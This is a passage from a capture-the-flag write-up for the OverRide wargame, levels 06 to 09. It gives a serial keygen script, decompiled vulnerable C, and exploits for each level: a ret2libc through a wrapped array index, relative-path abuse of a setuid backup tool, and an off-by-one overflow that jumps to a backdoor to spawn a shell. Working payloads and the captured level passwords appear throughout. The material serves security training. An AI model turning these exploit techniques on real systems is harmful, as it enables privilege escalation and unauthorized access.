#!/bin/env python3

from sys import argv

def calculate_hash(login: str, serial: int) -> int:
    hash: int = (ord(login[3]) ^ 0x1337 + 0x5eeded)
    for c in login:
        temp: int = ord(c) ^ hash
        result: int = ((temp - ((temp * 0x88233b2b) >> 32)) >> 1) + ((temp * 0x88233b2b) >> 32)
        hash += temp - (result >> 10) * 0x539
    return hash

def find_valid_login_and_serial(login: str) -> int:
    serial: int = 0
    while True:
        if calculate_hash(login, serial) == serial:
            return serial
        if serial > 0xffffffff:
            raise Exception("No valid login found")
        serial += 1

def main() -> None:
    if len(argv) != 2:
        print(f"Usage: ./auth.py <login>")
        exit(1)

    login: str = argv[1]
    serial: int = find_valid_login_and_serial(login)
    print(f"Valid login: {login}, serial: {serial}")

if __name__ == "__main__":
    main()

```

With the above script we can find the matching **serial** for any **login**, as long as the login has a **minimum length of 6 characters**.

If we run the script with “**abcdef**” as our login we get: **6232802**

```
→ override git:(main) X ./level06/resources/auth.py abcdef
Valid login: abcdef, serial: 6232802
```

Lets try using this combination on the program.

```
level06@OverRide:~$ (python -c "print 'abdcef\n' + '6232802\n'; cat) | ./level06
*****
*                  level06                  *
*****
-> Enter Login: *****
**** NEW ACCOUNT DETECTED ****
*****
-> Enter Serial: Authenticated!
whoami
level07
cd ../level07
cat .pass
GbcPDRgsFK77LNnnuh7QyFYA2942Gp8yKj9KrWD8
```

Once again, we get a shell that allows us to read the password for user **level07**:
“**GbcPDRgsFK77LNnnuh7QyFYA2942Gp8yKj9KrWD8**”

Level07:

Run “su level07” with “GbcPDRgsFK77LNnnuh7QyFYA2942Gp8yKj9KrWD8”

```
level06@OverRide:~$ su level07
Password:
RELRO          STACK CANARY      NX            PIE            RPATH        RUNPATH      FILE
Partial RELRO   Canary found    NX disabled   No PIE        No RPATH     No RUNPATH   /home/users/level07/level07
level07@OverRide:~$

level07@OverRide:~$ file level07 ; ls -l level07
level07: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs),
for GNU/Linux 2.6.24, BuildID[sha1]=0xf5b46cdb878d5a3929cc27efbda825294de5661e, not stripped
-rwsr-s---+ 1 level08 users 11744 Sep 10  2016 level07
level07@OverRide:~$
```

After disassembling we get:

```
int main(int argc, char **argv, char **envp)
{
    char **av = argv;
    char **env = envp;

    unsigned int arr[100] = {0}; // 0x64
    char buff[20]; // 0x14
    int ret = 0;

    for (int i = 0; av[i]; ++i)
        memset(av[i], 0, strlen(av[i]));
    for (int i = 0; env[i]; ++i)
        memset(env[i], 0, strlen(av[i]));

    puts(
        "-----\n\
        Welcome to wil's crappy number storage service!\n\
        -----\n\
        Commands: ..... \n\
        ...store...store a number into the data storage... \n\
        ...read...read a number from the data storage... \n\
        ...quit...exit the program... \n\
        -----\n\
        ...wil has reserved some storage :>..... \n\
        -----\n"
    );

    while (1)
    {
        printf("Input command:");
        memset(buff, 0, 20);
        fgets(buff, 20, stdin);
        buff[strlen(buff) - 1] = '\0';

        if (strncmp(buff, "store", 5) == 0)
            ret = store_number(arr);
        else if (strncmp(buff, "read", 4) == 0)
            ret = read_number(arr);
        else if (strncmp(buff, "quit", 4) == 0)
            return 0;

        if (ret == 0)
            printf("Completed %s command successfully\n", buff);
        else
            printf("Failed to do %s command\n", buff);
    }

    return 0;
}
```

```

int store_number(unsigned int *data)
{
    unsigned int index = 0;
    unsigned int number = 0;

    printf("Number: ");
    number = get_unum();

    printf("Index: ");
    index = get_unum();

    if (index % 3 == 0 || (number >> 24) == 183) // 0x18 0xb7
    {
        puts(" *** ERROR! ***");
        puts(" ... This index is reserved for will!");
        puts(" *** ERROR! ***");
        return 1;
    }

    data[index] = number;
    return 0;
}

int read_number(unsigned int *data)
{
    unsigned int index = 0;

    printf("Index: ");
    index = get_unum();
    printf("Number at data[%u] is %u\n", index, data[index]);
    return 0;
}

```

This code tells us that if the **index** is **divisible by 3** or if the **MSB** of the **number** is **0xb7**, our input will not be stored.

Same as in level04, we can perform a **ret2libc attack** by overflowing the **EIP** using the **data** array, if we give it the correct address we can write the integer values of the addresses for **system**, **exit**, and **"/bin/sh"**

We can use **gdb** to get the **EIP offset**, giving us **456**. Since we're using an **int array** to store our values, the **EIP** would be located index $456 / 4 = 114$. This won't work because $114 \% 3 = 0$, meaning this won't pass the check. A way to avoid this, is to overflow our index so that it wraps around.

```

Input command: store
Number: 42
Index: 1073741824
Completed store command successfully
Input command: read
Index: 0
Number at data[0] is 42
Completed read command successfully
Input command: █

```

We can test this by store a value in **(ULONG_MAX) 4294967295 / 4 + 1 = 1073741824**

We usually can't use **index 0**, so this means we successfully overflowed the index

To perform our exploit, we just need to store the values **4159090384 (exit)**, **4159040368 (exit)**, **4160264172 ("/bin/sh")** at indexes **1073741938 (114)**, **115** and **116** respectively, setting up our stack in order to run our shell.

```
Input command: store
Number: 4159090384
Index: 1073741938
Completed store command successfully
Input command: store
Number: 4159040368
Index: 115
Completed store command successfully
Input command: store
Number: 4160264172
Index: 116
Completed store command successfully
```

Then we need to input the **quit** command so that the **next instruction (our exploit)** gets executed.

```
Input command: quit
$ whoami
level08
$ cd ../level08
$ cat .pass
7WJ6jFBzrcjEYXudxnM3kdW7n3qyxR6tk2xGrkSC
```

With this shell we can read the password:

“7WJ6jFBzrcjEYXudxnM3kdW7n3qyxR6tk2xGrkSC”

Level08:

Run “su level08” with “7WJ6jFBzrcjEYXudxnM3kdW7n3qyxR6tk2xGrkSC”

```
RELRO          STACK CANARY      NX            PIE            RPATH          RUNPATH        FILE
Full RELRO     Canary found    NX disabled   No PIE         No RPATH       No RUNPATH     /home/users/level08/level08
level08@OverRide:~$

level08@OverRide:~$ file level08; ls -l level08
level08: setuid setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU
/Linux 2.6.24, BuildID[sha1]=0xf8990336d0891364d2754de14a6cc793677b9122, not stripped
-rwsr-s---+ 1 level08 users 12975 Oct 19  2016 level08
level08@OverRide:~$
```

After disassembling we get:

```
int main(int argc, char **argv)
{
    int ac = argc;
    char **av = argv;

    if (ac != 2)
        printf("Usage: %s filename\n", av[0]);

    FILE *log = fopen("./backups/.log", "w");
    if (!log)
    {
        printf("ERROR: Failed to open %s\n", "./backups/.log");
        exit(1);
    }

    log_wrapper(log, "Starting back up: ", av[1]);

    FILE *input = fopen(av[1], "r");
    if (!input)
    {
        printf("ERROR: Failed to open %s\n", av[1]);
        exit(1);
    }

    char buffer[0x70];
    memmove(buffer, "./backups/", strlen("./backups/"));

    int len = -1;
    len = strlen(buffer);
    len = 99 - len; // 0x69

    strncat(buffer, av[1], len);
```



```

→ int fd = open(buffer, 0xc1, 0x1b0);
→ if (fd == -1)
→ {
→     printf("ERROR: Failed to open %s\n", "./backups/", av[1]);
→     exit(1);
→ }

→ int bytesRead;
→ while ((bytesRead = fgetc(input)) != EOF)
→ {
→     buffer[0] = bytesRead;
→     write(fd, buffer, 1);
→ }

→ log_wrapper(log, "Finished back up", av[1]);

→ fclose(input);
→ close(fd);

→ return 0;
}

```

```

void log_wrapper(FILE *log, char *msg, char *filename)
{
→ char buff[0x110];
→ strcpy(buff, msg);

→ int len = 0xfe - strlen(buff);
→ snprintf(buff+strlen(buff), len, "%s", filename);
→ buff[strlen(buff)] = '\0';

→ fprintf(log, "%s\n", buff);
}

```

This is a simple program that opens a file and copies it to the “**backups**” directory, effectively it backs up the file. There are no vulnerabilities present, so we just to use the program as intended. We can try to copy “/home/users/level09/.pass”, but that won't work right away.

```

level08@OverRide:~$ ./level08 /home/users/level09/.pass
ERROR: Failed to open ./backups//home/users/level09/.pass
level08@OverRide:~$ █

```

We can also see that it tried to open “**./backups//home/users/level09/.pass**”. So let’s try to create this directory structure in **/tmp** and see what happens.

```
level08@Override:~$ mkdir -p /tmp/backups/home/users/level09/
level08@Override:~$ touch /tmp/backups/.log

level08@Override:/tmp$ /home/users/level08/level08 /home/users/level09/.pass
level08@Override:/tmp$ cat /tmp/backups/home/users/level09/.pass
fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBWfHRsP62d8S
level08@Override:/tmp$
```

A “backup” of the **.pass** file has been created. If we **cat** it, we can obtain the password for user **level09** :

“fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBWfHRsP62d8S”

Level09:

Run “su level09” with “fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBWfHRsP62d8S”

```
RELRO          STACK CANARY      NX            PIE            RPATH          RUNPATH        FILE
Partial RELRO  No canary found  NX enabled    PIE enabled     No RPATH       No RUNPATH     /home/users/level09/level09
level09@OverRide:~$

level09@OverRide:~$ file level09; ls -l level09
level09: setuid setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), f
or GNU/Linux 2.6.24, BuildID[sha1]=0xa1a3a49786f29814c5abd4fc6d7a685800a3d454, not stripped
-rwsr-s---+ 1 end users 12959 Oct  2  2016 level09
```

After disassembling we get:

```
void handle_msg(void)
{
    t_msg msg;
    memset(&msg.username, 0, 40); // 0x28
    msg.len = 140; // 0x8c

    set_username(&msg);
    set_msg(&msg);
    puts(">: Msg sent!");
}

int main(void)
{
    puts("\n
-----\n\
| ~Welcome to l33t-m$n ~~~~~v1337~~~~~|\n\
-----")
};
    handle_msg();
    return 0;
}
```

```
void set_msg(t_msg* msg)
{
    char buff[1024]; // 0x400
    memset(buff, 0, 1024); // 8 * 128 = 0x400

    puts(">: Msg @Unix-Dude");
    printf(">>: ");
    fgets(buff, 1024, stdin);

    strncpy(msg->content, buff, msg->len);
}

void set_username(t_msg* msg)
{
    char buff[128]; // 0x80
    memset(buff, 0, 128); // 8 * 16 = 0x80

    puts(">: Enter your username");
    printf(">>: ");
    fgets(buff, 128, stdin);

    for (int i = 0; i <= 40 && buff[i] != '\0'; ++i) { // 0x28
        msg->username[i] = buff[i];
    }

    printf(">: Welcome, %s\n", msg->username);
}
```

```

You, 12 hours ago | 1 author (You)
typedef struct s_msg
{
    char username[40]; // 0x28
    char content[140]; // 0x8C
    int len; // 0x8
} t_msg;

void secret_backdoor()
{
    char buff[128]; // 0x80
    fgets(buff, 128, stdin);
    system(buff);
}

```

At a first glance, there are no obvious points of attack, all the **fgets** calls read the size of the buffer, so no overflowing there. But if we take a closer look at the **set_username** function, we can see the loop will be executed **41** times. For all **i values** ($0 < i <= 40$). This allows us to overwrite **1 byte** in the **len member**, allowing us to read a different amount of characters in **set_msg**.

If the **EIP address** is less than **248 bytes** ($256 - 8$) away from our **buffer**, we can write to it. Note that this is a **64-bit binary** so addresses are **8 bytes** long.

We can use gdb to calculate the EIP offset: $0x7fffffffe5d8 - 0x7fffffffe510 = 200$

In our code, we have the **secret_backdoor** function, but it never gets used. This function is useful to us if we can get to it since it allows us to execute commands from **stdin** with **system**. Since we control the EIP, we can write the address of **secret_backdoor** (**0x55555555488c**) at its location, allowing us to run **"/bin/sh"**, granting us access to the **end** user and its **.pass** file.

Run **“(python -c "print 40*"'\x90' + '\xd8' + '\n' + 200*"'\x90' + '\x00\x00\x55\x55\x55\x55\x48\x8c'[: -1] + '/bin/sh'"; cat) | ./level09”**

The final password is **“j4AunAPDXaJxxWjYEUxpanmvSgRDV3tpA5BEaBuE”**

```

level09@OverRide:~$ (python -c "print 40*"'\x90' + '\xd8' + '\n' + 200*"'\x90' + '\x00\x00\x55\x55\x55\x55\x48\x8c'[: -1]
+ '/bin/sh'"; cat) | ./level09
-----
| ~Welcome to l33t-m$n ~      v1337      |
-----
>: Enter your username
>> >: Welcome, ~~~~~~: Msg @Unix-Dude
>> >: Msg sent!
whoami; cd ../end; cat .pass
end
j4AunAPDXaJxxWjYEUxpanmvSgRDV3tpA5BEaBuE

```